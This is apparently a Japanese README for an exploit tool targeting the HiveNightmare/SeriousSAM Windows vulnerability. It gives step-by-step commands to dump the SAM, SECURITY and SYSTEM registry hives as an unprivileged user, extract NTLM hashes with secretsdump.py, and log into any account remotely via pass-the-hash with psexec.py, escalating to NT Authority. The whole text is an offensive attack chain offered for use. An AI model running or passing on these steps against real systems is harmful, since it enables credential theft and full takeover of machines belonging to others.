HiveNightmare/SeriousSAM 脆弱性を利用したエクスプロイトで、管理者権限なしで機密データを含むレジストリハイブを読み取ることができます。これが権限昇格に聞こえないなら、何が権限昇格なのかわかりません。
cargo build でエクスプロイトをビルドしてバイナリを取得した後、テスト環境にデプロイし、CMD を開いて .\oxide_hive [最大シャドウコピー数] を実行します。シャドウコピーのデフォルトは15です。SAM、SECURITY、SYSTEM の各ハイブが作業ディレクトリにダンプされます。
その後、このスクリプト を secretsdump.py -sam SAM.dump -security SECURITY.dump -system SYSTEM.dump local というコマンドで使用して、NTLM ハッシュを取得できます。
次に、別のスクリプト を psexec.py -hashes <アカウントのハッシュ> <ユーザー>@<マシンのIP> cmd.exe というコマンドで使用して、任意のアカウントにリモートログインできます。おめでとうございます。わずか3つのコマンドで、権限のないユーザーから NT Authority に昇格しました。
